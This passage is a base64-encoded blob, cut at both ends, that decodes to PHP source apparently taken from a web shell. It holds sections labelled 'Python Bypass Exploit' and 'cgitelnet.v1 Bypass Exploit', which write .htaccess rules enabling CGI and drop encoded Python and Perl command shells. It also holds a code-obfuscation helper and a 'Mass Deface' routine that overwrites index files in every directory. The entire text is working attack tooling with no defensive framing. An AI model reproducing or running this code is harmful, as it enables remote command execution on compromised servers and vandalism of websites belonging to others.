vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3B5dGhvbicpKSB7IA0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj4NCiAtLT09WyBQeXRob24gIEJ5cGFzcyBFeHBsb2l0IF09PS0tIA0KIDwvYj48YnI+PGJyPiI7DQogDQogDQogICAgbWtkaXIoJ3B5dGhvbicsIDA3NTUpOw0KICAgIGNoZGlyKCdweXRob24nKTsNCiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7DQogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsNCiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsmIzMwNTtsYW1hZCYjMzA1OyEiKTsNCiAgICAgICAgJG1ldGluID0gIkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvIjsgICAgDQogICAgICAgIGZ3cml0ZSAoICRkb3N5YSAsICRtZXRpbiApIDsNCiAgICAgICAgZmNsb3NlICgkZG9zeWEpOw0KJHB5dGhvbnAgPSAnSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjRLSXlBd055MHdOeTB3TkFvaklIWXhMakF1TUFvS0l5QmpaMmt0YzJobGJHd3VjSGtLSXlCQg0KSUhOcGJYQnNaU0JEUjBrZ2RHaGhkQ0JsZUdWamRYUmxjeUJoY21KcGRISmhjbmtnYzJobGJHd2dZMjl0YldGdVpITXVDZ29LSXlCRA0KYjNCNWNtbG5hSFFnVFdsamFHRmxiQ0JHYjI5eVpBb2pJRmx2ZFNCaGNtVWdabkpsWlNCMGJ5QnRiMlJwWm5rc0lIVnpaU0JoYm1RZw0KY21Wc2FXTmxibk5sSUhSb2FYTWdZMjlrWlM0S0NpTWdUbThnZDJGeWNtRnVkSGtnWlhod2NtVnpjeUJ2Y2lCcGJYQnNhV1ZrSUdadg0KY2lCMGFHVWdZV05qZFhKaFkza3NJR1pwZEc1bGMzTWdkRzhnY0hWeWNHOXpaU0J2Y2lCdmRHaGxjbmRwYzJVZ1ptOXlJSFJvYVhNZw0KWTI5a1pTNHVMaTRLSXlCVmMyVWdZWFFnZVc5MWNpQnZkMjRnY21semF5QWhJU0VLQ2lNZ1JTMXRZV2xzSUcxcFkyaGhaV3dnUVZRZw0KWm05dmNtUWdSRTlVSUcxbElFUlBWQ0IxYXdvaklFMWhhVzUwWVdsdVpXUWdZWFFnZDNkM0xuWnZhV1J6Y0dGalpTNXZjbWN1ZFdzdg0KWVhSc1lXNTBhV0p2ZEhNdmNIbDBhRzl1ZFhScGJITXVhSFJ0YkFvS0lpSWlDa0VnYzJsdGNHeGxJRU5IU1NCelkzSnBjSFFnZEc4Zw0KWlhobFkzVjBaU0J6YUdWc2JDQmpiMjF0WVc1a2N5QjJhV0VnUTBkSkxnb2lJaUlLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNag0KSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJd29qSUVsdGNHOXlkSE1LZEhKNQ0KT2dvZ0lDQWdhVzF3YjNKMElHTm5hWFJpT3lCaloybDBZaTVsYm1GaWJHVW9LUXBsZUdObGNIUTZDaUFnSUNCd1lYTnpDbWx0Y0c5eQ0KZENCemVYTXNJR05uYVN3Z2IzTUtjM2x6TG5OMFpHVnljaUE5SUhONWN5NXpkR1J2ZFhRS1puSnZiU0IwYVcxbElHbHRjRzl5ZENCeg0KZEhKbWRHbHRaUXBwYlhCdmNuUWdkSEpoWTJWaVlXTnJDbVp5YjIwZ1UzUnlhVzVuU1U4Z2FXMXdiM0owSUZOMGNtbHVaMGxQQ21aeQ0KYjIwZ2RISmhZMlZpWVdOcklHbHRjRzl5ZENCd2NtbHVkRjlsZUdNS0NpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNag0KSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNS0l5QmpiMjV6ZEdGdWRITUtDbVp2Ym5Scw0KYVc1bElEMGdKenhHVDA1VUlFTlBURTlTUFNNME1qUXlORElnYzNSNWJHVTlJbVp2Ym5RdFptRnRhV3g1T25ScGJXVnpPMlp2Ym5RdA0KYzJsNlpUb3hNbkIwT3lJK0p3cDJaWEp6YVc5dWMzUnlhVzVuSUQwZ0oxWmxjbk5wYjI0Z01TNHdMakFnTjNSb0lFcDFiSGtnTWpBdw0KTkNjS0NtbG1JRzl6TG1WdWRtbHliMjR1YUdGelgydGxlU2dpVTBOU1NWQlVYMDVCVFVVaUtUb0tJQ0FnSUhOamNtbHdkRzVoYldVZw0KUFNCdmN5NWxiblpwY205dVd5SlRRMUpKVUZSZlRrRk5SU0pkQ21Wc2MyVTZDaUFnSUNCelkzSnBjSFJ1WVcxbElEMGdJaUlLQ2sxRg0KVkVoUFJDQTlJQ2NpVUU5VFZDSW5DZ29qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNag0KSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpDaU1nVUhKcGRtRjBaU0JtZFc1amRHbHZibk1nWVc1a0lIWmhjbWxoWW14bA0KY3dvS1pHVm1JR2RsZEdadmNtMG9kbUZzZFdWc2FYTjBMQ0IwYUdWbWIzSnRMQ0J1YjNSd2NtVnpaVzUwUFNjbktUb0tJQ0FnSUNJaQ0KSWxSb2FYTWdablZ1WTNScGIyNHNJR2RwZG1WdUlHRWdRMGRKSUdadmNtMHNJR1Y0ZEhKaFkzUnpJSFJvWlNCa1lYUmhJR1p5YjIwZw0KYVhRc0lHSmhjMlZrSUc5dUNpQWdJQ0IyWVd4MVpXeHBjM1FnY0dGemMyVmtJR2x1TGlCQmJua2dibTl1TFhCeVpYTmxiblFnZG1Gcw0KZFdWeklHRnlaU0J6WlhRZ2RHOGdKeWNnTFNCaGJIUm9iM1ZuYUNCMGFHbHpJR05oYmlCaVpTQmphR0Z1WjJWa0xnb2dJQ0FnS0dVdQ0KWnk0Z2RHOGdjbVYwZFhKdUlFNXZibVVnYzI4Z2VXOTFJR05oYmlCMFpYTjBJR1p2Y2lCdGFYTnphVzVuSUd0bGVYZHZjbVJ6SUMwZw0KZDJobGNtVWdKeWNnYVhNZ1lTQjJZV3hwWkNCaGJuTjNaWElnWW5WMElIUnZJR2hoZG1VZ2RHaGxJR1pwWld4a0lHMXBjM05wYm1jZw0KYVhOdUozUXVLU0lpSWdvZ0lDQWdaR0YwWVNBOUlIdDlDaUFnSUNCbWIzSWdabWxsYkdRZ2FXNGdkbUZzZFdWc2FYTjBPZ29nSUNBZw0KSUNBZ0lHbG1JRzV2ZENCMGFHVm1iM0p0TG1oaGMxOXJaWGtvWm1sbGJHUXBPZ29nSUNBZ0lDQWdJQ0FnSUNCa1lYUmhXMlpwWld4aw0KWFNBOUlHNXZkSEJ5WlhObGJuUUtJQ0FnSUNBZ0lDQmxiSE5sT2dvZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFnZEhsd1pTaDBhR1ZtYjNKdA0KVzJacFpXeGtYU2tnSVQwZ2RIbHdaU2hiWFNrNkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCa1lYUmhXMlpwWld4a1hTQTlJSFJvWldadg0KY20xYlptbGxiR1JkTG5aaGJIVmxDaUFnSUNBZ0lDQWdJQ0FnSUdWc2MyVTZDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjJZV3gxWlhNZw0KUFNCdFlYQW9iR0Z0WW1SaElIZzZJSGd1ZG1Gc2RXVXNJSFJvWldadmNtMWJabWxsYkdSZEtTQWdJQ0FnSXlCaGJHeHZkM01nWm05eQ0KSUd4cGMzUWdkSGx3WlNCMllXeDFaWE1LSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR1JoZEdGYlptbGxiR1JkSUQwZ2RtRnNkV1Z6Q2lBZw0KSUNCeVpYUjFjbTRnWkdGMFlRb0tDblJvWldadmNtMW9aV0ZrSUQwZ0lpSWlQRWhVVFV3K1BFaEZRVVErUEZSSlZFeEZQbU5uYVMxeg0KYUdWc2JDNXdlU0F0SUdFZ1EwZEpJR0o1SUVaMWVucDViV0Z1UEM5VVNWUk1SVDQ4TDBoRlFVUStDanhDVDBSWlBqeERSVTVVUlZJKw0KQ2p4SU1UNVhaV3hqYjIxbElIUnZJR05uYVMxemFHVnNiQzV3ZVNBdElEeENVajVoSUZCNWRHaHZiaUJEUjBrOEwwZ3hQZ284UWo0OA0KU1Q1Q2VTQkdkWHA2ZVcxaGJqd3ZRajQ4TDBrK1BFSlNQZ29pSWlJclptOXVkR3hwYm1VZ0t5SldaWEp6YVc5dUlEb2dJaUFySUhabA0KY25OcGIyNXpkSEpwYm1jZ0t5QWlJaUlzSUZKMWJtNXBibWNnYjI0Z09pQWlJaUlnS3lCemRISm1kR2x0WlNnbkpVazZKVTBnSlhBcw0KSUNWQklDVmtJQ1ZDTENBbFdTY3BLeWN1UEM5RFJVNVVSVkkrUEVKU1BpY0tDblJvWldadmNtMGdQU0FpSWlJOFNESStSVzUwWlhJZw0KUTI5dGJXRnVaRHd2U0RJK0NqeEdUMUpOSUUxRlZFaFBSRDFjSWlJaUlpQXJJRTFGVkVoUFJDQXJJQ2NpSUdGamRHbHZiajBpSnlBcg0KSUhOamNtbHdkRzVoYldVZ0t5QWlJaUpjSWo0S1BHbHVjSFYwSUc1aGJXVTlZMjFrSUhSNWNHVTlkR1Y0ZEQ0OFFsSStDanhwYm5CMQ0KZENCMGVYQmxQWE4xWW0xcGRDQjJZV3gxWlQwaVUzVmliV2wwSWo0OFFsSStDand2Ums5U1RUNDhRbEkrUEVKU1BpSWlJZ3BpYjJSNQ0KWlc1a0lEMGdKend2UWs5RVdUNDhMMGhVVFV3K0p3cGxjbkp2Y20xbGMzTWdQU0FuUEVORlRsUkZVajQ4U0RJK1UyOXRaWFJvYVc1bg0KSUZkbGJuUWdWM0p2Ym1jOEwwZ3lQanhDVWo0OFVGSkZQaWNLQ2lNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNag0KSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1LSXlCdFlXbHVJR0p2WkhrZ2IyWWdkR2hsSUhOag0KY21sd2RBb0thV1lnWDE5dVlXMWxYMThnUFQwZ0oxOWZiV0ZwYmw5Zkp6b0tJQ0FnSUhCeWFXNTBJQ0pEYjI1MFpXNTBMWFI1Y0dVNg0KSUhSbGVIUXZhSFJ0YkNJZ0lDQWdJQ0FnSUNBaklIUm9hWE1nYVhNZ2RHaGxJR2hsWVdSbGNpQjBieUIwYUdVZ2MyVnlkbVZ5Q2lBZw0KSUNCd2NtbHVkQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJeUJ6YnlCcGN5QjBhR2x6SUdKcw0KWVc1cklHeHBibVVLSUNBZ0lHWnZjbTBnUFNCaloya3VSbWxsYkdSVGRHOXlZV2RsS0NrS0lDQWdJR1JoZEdFZ1BTQm5aWFJtYjNKdA0KS0ZzblkyMWtKMTBzWm05eWJTa0tJQ0FnSUhSb1pXTnRaQ0E5SUdSaGRHRmJKMk50WkNkZENpQWdJQ0J3Y21sdWRDQjBhR1ZtYjNKdA0KYUdWaFpBb2dJQ0FnY0hKcGJuUWdkR2hsWm05eWJRb2dJQ0FnYVdZZ2RHaGxZMjFrT2dvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2M4U0ZJKw0KUEVKU1BqeENVajRuQ2lBZ0lDQWdJQ0FnY0hKcGJuUWdKenhDUGtOdmJXMWhibVFnT2lBbkxDQjBhR1ZqYldRc0lDYzhRbEkrUEVKUw0KUGljS0lDQWdJQ0FnSUNCd2NtbHVkQ0FuVW1WemRXeDBJRG9nUEVKU1BqeENVajRuQ2lBZ0lDQWdJQ0FnZEhKNU9nb2dJQ0FnSUNBZw0KSUNBZ0lDQmphR2xzWkY5emRHUnBiaXdnWTJocGJHUmZjM1JrYjNWMElEMGdiM011Y0c5d1pXNHlLSFJvWldOdFpDa0tJQ0FnSUNBZw0KSUNBZ0lDQWdZMmhwYkdSZmMzUmthVzR1WTJ4dmMyVW9LUW9nSUNBZ0lDQWdJQ0FnSUNCeVpYTjFiSFFnUFNCamFHbHNaRjl6ZEdSdg0KZFhRdWNtVmhaQ2dwQ2lBZ0lDQWdJQ0FnSUNBZ0lHTm9hV3hrWDNOMFpHOTFkQzVqYkc5elpTZ3BDaUFnSUNBZ0lDQWdJQ0FnSUhCeQ0KYVc1MElISmxjM1ZzZEM1eVpYQnNZV05sS0NkY2JpY3NJQ2M4UWxJK0p5a0tDaUFnSUNBZ0lDQWdaWGhqWlhCMElFVjRZMlZ3ZEdsdg0KYml3Z1pUb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSXlCaGJpQmxjbkp2Y2lCcGJpQmxlR1ZqZFhScGJtY2dkR2hsSUdOdg0KYlcxaGJtUUtJQ0FnSUNBZ0lDQWdJQ0FnY0hKcGJuUWdaWEp5YjNKdFpYTnpDaUFnSUNBZ0lDQWdJQ0FnSUdZZ1BTQlRkSEpwYm1kSg0KVHlncENpQWdJQ0FnSUNBZ0lDQWdJSEJ5YVc1MFgyVjRZeWhtYVd4bFBXWXBDaUFnSUNBZ0lDQWdJQ0FnSUdFZ1BTQm1MbWRsZEhaaA0KYkhWbEtDa3VjM0JzYVhSc2FXNWxjeWdwQ2lBZ0lDQWdJQ0FnSUNBZ0lHWnZjaUJzYVc1bElHbHVJR0U2Q2lBZ0lDQWdJQ0FnSUNBZw0KSUNBZ0lDQndjbWx1ZENCc2FXNWxDZ29nSUNBZ2NISnBiblFnWW05a2VXVnVaQW9LQ2lJaUlncFVUMFJQTDBsVFUxVkZVd29LQ2dwRA0KU0VGT1IwVk1UMGNLQ2pBM0xUQTNMVEEwSUNBZ0lDQWdJQ0JXWlhKemFXOXVJREV1TUM0d0NrRWdkbVZ5ZVNCaVlYTnBZeUJ6ZVhOMA0KWlcwZ1ptOXlJR1Y0WldOMWRHbHVaeUJ6YUdWc2JDQmpiMjF0WVc1a2N5NEtTU0J0WVhrZ1pYaHdZVzVrSUdsMElHbHVkRzhnWVNCdw0KY205d1pYSWdKMlZ1ZG1seWIyNXRaVzUwSnlCM2FYUm9JSE5sYzNOcGIyNGdjR1Z5YzJsemRHVnVZMlV1TGk0S0lpSWknOw0KDQokZmlsZSA9IGZvcGVuKCJweXRob24uaXpvIiAsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRweXRob25wKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJweXRob24uaXpvIiwwNzU1KTsNCiAgIGVjaG8gIiA8aWZyYW1lIHNyYz1weXRob24vcHl0aG9uLml6byB3aWR0aD05NiUgaGVpZ2h0PTc2JSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPg0KIA0KIDwvZGl2PiI7IH0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzdHJpbmcnKSl7DQokdGV4dCA9ICRfUE9TVFsnY29kZSddOw0KPz48Y2VudGVyPjxicj48YnI+PGI+LS09PVsgU2NyaXB0IEVuY29kZSAmIERlY29kZSBdPT0tLTwvYj48YnI+PGJyPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTgwIHJvd3M9MTAgbmFtZT0iY29kZSI+PC90ZXh0YXJlYT48YnI+PGJyPg0KPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPg0KPG9wdGlvbiB2YWx1ZT0iYmFzZTY0Ij5CYXNlNjQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Imd6aW5mbGF0ZSI+c3RyX3JvdDEzIC0gZ3ppbmZsYXRlIC0gYmFzZTY0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzdHIiPnN0cl9yb3QxMyAtIGd6aW5mbGF0ZSAtIHN0cl9yb3QxMyAtIGJhc2U2NDwvb3B0aW9uPg0KPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nRW5jcnlwdCc+DQo8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXRzJyB2YWx1ZT0nRGVjcnlwdCc+DQo8L2Zvcm0+DQoNCjw/cGhwIA0KJHN1Ym1pdCA9ICRfUE9TVFsnc3VibWl0J107DQppZiAoaXNzZXQoJHN1Ym1pdCkpew0KJG9wID0gJF9QT1NUWyJvcGUiXTsNCnN3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7DQpicmVhaztjYXNlICdzdHInIDogJGNvZGk9KGJhc2U2NF9lbmNvZGUoc3RyX3JvdDEzKGd6ZGVmbGF0ZShzdHJfcm90MTMoJHRleHQpKSkpKTsNCmJyZWFrO2Nhc2UgJ2d6aW5mbGF0ZScgOiAkY29kaT1iYXNlNjRfZW5jb2RlKGd6ZGVmbGF0ZShzdHJfcm90MTMoJHRleHQpKSk7DQpicmVhaztkZWZhdWx0OmJyZWFrO319DQoNCiRzdWJtaXQgPSAkX1BPU1RbJ3N1Ym1pdHMnXTsNCmlmIChpc3NldCgkc3VibWl0KSl7DQokb3AgPSAkX1BPU1RbIm9wZSJdOw0Kc3dpdGNoICgkb3ApIHtjYXNlICdiYXNlNjQnOiAkY29kaT1iYXNlNjRfZGVjb2RlKCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ3N0cicgOiAkY29kaT1zdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkdGV4dCkpKSkpOw0KYnJlYWs7Y2FzZSAnZ3ppbmZsYXRlJyA6ICRjb2RpPXN0cl9yb3QxMyhnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpKTsNCmJyZWFrO2RlZmF1bHQ6YnJlYWs7fX0NCg0KZWNobyAnPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMCBjbGFzcz0iaW5wdXR6IiByZWFkb25seT4nLiRjb2RpLic8L3RleHRhcmVhPjwvY2VudGVyPjxCUj48QlI+JzsNCg0KfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpDQp7DQplY2hvICI8Y2VudGVyLz48YnIvPjxiPjxmb250IGNvbG9yPSNGRjAwMDA+LS09PVsgTWFzcyBEZWZhY2UgXT09LS08L2ZvbnQ+PC9iPjxicj4iOw0KZXJyb3JfcmVwb3J0aW5nKDApOz8+DQo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/cGhwICRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD0ncG9zdCc+DQo8dGQ+PHRhYmxlPjx0YWJsZSBjbGFzcz0idGFibmV0IiA+DQo8Zm9ybSBoZXRob3Q9J3Bvc3QnPg0KPHRyPg0KCTx0cj4NCgk8dGQ+Jm5ic3A7Jm5ic3A7Rm9sZGVyPC90ZD48dGQ+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyBzaXplPSc2MCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7Pz4iPjwvdGQ+DQoJPC90cj48YnI+DQoJPHRyPg0KCTx0ZD5GaWxlIE48L3RkPjx0ZD48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzYwJyB2YWx1ZT0iaW5kZXgucGhwIj48L3RkPg0KCTwvdHI+DQo8L3RyPg0KPHRoIGNvbHNwYW49JzInPjxiPkluZGV4IENvZGU8L2I+PC90aD48YnI+PC90YWJsZT4NCjx0ZXh0YXJlYSBzdHlsZT0nYmFja2dyb3VuZDpibGFjaztvdXRsaW5lOm5vbmU7JyBuYW1lPSdpbmRleCcgcm93cz0nMTAnIGNvbHM9JzY3Jz5Qb3dlcmVkIGJ5RGFORzNSIC0gQ2hlTmFUb1JePC90ZXh0YXJlYT48YnI+DQo8Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48L3RhYmxlPjxicj48L2Zvcm0+DQoNCjw/cGhwICRtYWlucGF0aD0kX1BPU1RbcGF0aF07JGZpbGU9JF9QT1NUW2ZpbGVdOyRkaXI9b3BlbmRpcigiJG1haW5wYXRoIik7JGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1RbaW5kZXhdKTskaW5keD1iYXNlNjRfZGVjb2RlKCRjb2RlKTt3aGlsZSgkcm93PXJlYWRkaXIoJGRpcikpeyRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOyRmaW5pc2g9QGZ3cml0ZSgkc3RhcnQsJGluZHgpO2lmICgkZmluaXNoKXtlY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+Ijt9fX0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2NnaScpKSB7IA0KZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj1ibHVlPi0tPT1bIGNnaXRlbG5ldC52MSAgQnlwYXNzIEV4cGxvaXRdPT0tLTwvZm9udD48L2I+PGJyPjxicj4iOw0KIG1rZGlyKCdjZ2l0ZWxuZXQxJywgMDc1NSk7DQogICAgY2hkaXIoJ2NnaXRlbG5ldDEnKTsgICAgICANCiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7DQogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsNCiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsmIzMwNTtsYW1hZCYjMzA1OyEiKTsNCiAgICAgICAgJG1ldGluID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kNCg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2luDQoNCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2luDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbiI7ICAgIA0KICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7DQogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsNCiRjZ2lzaGVsbGl6b2NpbiA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0NpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkRiM0I1Y21sbmFIUWdZVzVrSUV4cFkyVnVZMlVLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUVOSFNTMVVaV3h1WlhRZ1ZtVnljMmx2YmlBeExqQWdabTl5SUU1VUlHRnVaQ0JWYm1sNElEb2dVblZ1SUVOdmJXMWhibVJ6SUc5dUlIbHZkWElnVjJWaUlGTmxjblpsY2dvakNpTWdRMjl3ZVhKcFoyaDBJQ2hES1NBeU1EQXhJRkp2YUdsMFlXSWdRbUYwY21FS0l5QlFaWEp0YVhOemFXOXVJR2x6SUdkeVlXNTBaV1FnZEc4Z2RYTmxMQ0JrYVhOMGNtbGlkWFJsSUdGdVpDQnRiMlJwWm5rZ2RHaHBjeUJ6WTNKcGNIUWdjMjhnYkc5dVp3b2pJR0Z6SUhSb2FYTWdZMjl3ZVhKcFoyaDBJRzV2ZEdsalpTQnBjeUJzWldaMElHbHVkR0ZqZEM0Z1NXWWdlVzkxSUcxaGEyVWdZMmhoYm1kbGN5QjBieUIwYUdVZ2MyTnlhWEIwQ2lNZ2NHeGxZWE5sSUdSdlkzVnRaVzUwSUhSb1pXMGdZVzVrSUdsdVptOXliU0J0WlM0Z1NXWWdlVzkxSUhkdmRXeGtJR3hwYTJVZ1lXNTVJR05vWVc1blpYTWdkRzhnWW1VZ2JXRmtaUW9qSUdsdUlIUm9hWE1nYzJOeWFYQjBMQ0I1YjNVZ1kyRnVJR1V0YldGcGJDQnRaUzRLSXdvaklFRjFkR2h2Y2pvZ1VtOW9hWFJoWWlCQ1lYUnlZUW9qSUVGMWRHaHZjaUJsTFcxaGFXdzZJSEp2YUdsMFlXSkFjbTlvYVhSaFlpNWpiMjBLSXlCQmRYUm9iM0lnU0c5dFpYQmhaMlU2SUdoMGRIQTZMeTkzZDNjdWNtOW9hWFJoWWk1amIyMHZDaU1nVTJOeWFYQjBJRWh2YldWd1lXZGxPaUJvZEhSd09pOHZkM2QzTG5KdmFHbDBZV0l1WTI5dEwyTm5hWE5qY21sd2RITXZZMmRwZEdWc2JtVjBMbWgwYld3S0l5QlFjbTlrZFdOMElGTjFjSEJ2Y25RNklHaDBkSEE2THk5M2QzY3VjbTlvYVhSaFlpNWpiMjB2YzNWd2NHOXlkQzhLSXlCRWFYTmpkWE56YVc5dUlFWnZjblZ0T2lCb2RIUndPaTh2ZDNkM0xuSnZhR2wwWVdJdVkyOXRMMlJwYzJOMWMzTXZDaU1nVFdGcGJHbHVaeUJNYVhOME9pQm9kSFJ3T2k4dmQzZDNMbkp2YUdsMFlXSXVZMjl0TDIxc2FYTjBMd29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nU1c1emRHRnNiR0YwYVc5dUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QlVieUJwYm5OMFlXeHNJSFJvYVhNZ2MyTnlhWEIwQ2lNS0l5QXhMaUJOYjJScFpua2dkR2hsSUdacGNuTjBJR3hwYm1VZ0lpTWhMM1Z6Y2k5aWFXNHZjR1Z5YkNJZ2RHOGdjRzlwYm5RZ2RHOGdkR2hsSUdOdmNuSmxZM1FnY0dGMGFDQnZiZ29qSUNBZ0lIbHZkWElnYzJWeWRtVnlMaUJHYjNJZ2JXOXpkQ0J6WlhKMlpYSnpMQ0I1YjNVZ2JXRjVJRzV2ZENCdVpXVmtJSFJ2SUcxdlpHbG1lU0IwYUdsekxnb2pJREl1SUVOb1lXNW5aU0IwYUdVZ2NHRnpjM2R2Y21RZ2FXNGdkR2hsSUVOdmJtWnBaM1Z5WVhScGIyNGdjMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QXpMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUIwYUdVZ2MyTnlhWEIwSUhWdVpHVnlJRmRwYm1SdmQzTWdUbFFzSUhObGRDQWtWMmx1VGxRZ1BTQXhJR2x1SUhSb1pRb2pJQ0FnSUVOdmJtWnBaM1Z5WVhScGIyNGdVMlZqZEdsdmJpQmlaV3h2ZHk0S0l5QTBMaUJWY0d4dllXUWdkR2hsSUhOamNtbHdkQ0IwYnlCaElHUnBjbVZqZEc5eWVTQnZiaUI1